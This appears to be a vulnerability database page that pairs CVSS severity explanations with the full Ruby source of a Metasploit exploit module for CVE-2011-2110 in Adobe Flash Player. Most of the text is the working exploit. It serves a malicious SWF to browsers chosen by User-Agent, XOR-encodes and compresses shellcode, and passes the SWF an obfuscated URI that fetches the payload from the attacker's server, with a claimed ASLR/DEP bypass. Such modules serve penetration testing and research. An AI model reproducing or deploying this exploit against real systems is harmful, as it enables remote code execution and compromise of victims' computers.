The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',
'Description' => %q{
This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23
and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
vulnerability that was used for attacks against Korean based organizations.
Specifically, this issue occurs when indexing an array using an arbitrary value,
memory can be referenced and later executed. Taking advantage of this issue does not rely
on heap spraying as the vulnerability can also be used for information leakage.
Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several
other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and
is very reliable.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit,
'Unknown' # malware version seen used in targeted attacks
],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2011-2110'],
['OSVDB', '48268'],
['URL', 'http://www.adobe.com/devnet/swf.html'],
['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],
['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],
['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true,
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {}],
],
'DisclosureDate' => 'Jun 21 2012',
'DefaultTarget' => 0))
end
def exploit
# src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as
# full aslr/dep bypass using the info leak as per malware
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-2110.swf" )
fd = File.open( path, "rb" )
@swf = fd.read(fd.stat.size)
fd.close
super
end
def check_dependencies
use_zlib
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /MSIE/
return targets[0] # ie 6/7/8 tested working
elsif agent =~ /Firefox/
return targets[0] # ff 10.2 tested working
else
return nil
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
xor_byte = 122
trigger = @swf
trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
code = rand_text_alpha(rand(6)+3) + ".txt"
sc = Zlib::Deflate.deflate(payload.encoded)
shellcode = ""
sc.each_byte do | c |
shellcode << (xor_byte ^ c)
end
uri = ((datastore['SSL']) ? "https://" : "http://")
uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"
bd_uri = Zlib::Deflate.deflate(uri)
uri = ""
bd_uri.each_byte do | c |
uri << (xor_byte ^ c)
end
bd_uri = uri.unpack("H*")[0]
obj_id = rand_text_alpha(rand(6)+3)
if request.uri.match(/\.swf/i)
print_status("Sending malicious swf")
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end
if request.uri.match(/\.txt/i)
print_status("Sending payload")
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
return
end
html = <<-EOS
<html>
<head>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="#{obj_id}" width="600" height="400"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />
<embed src="#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"
width="320" height="300" name="#{obj_id}" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>
</object>
</center>
</body>
</html>
EOS
html = html.gsub(/^\t\t/, '')
print_status("Sending #{self.name} HTML")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end
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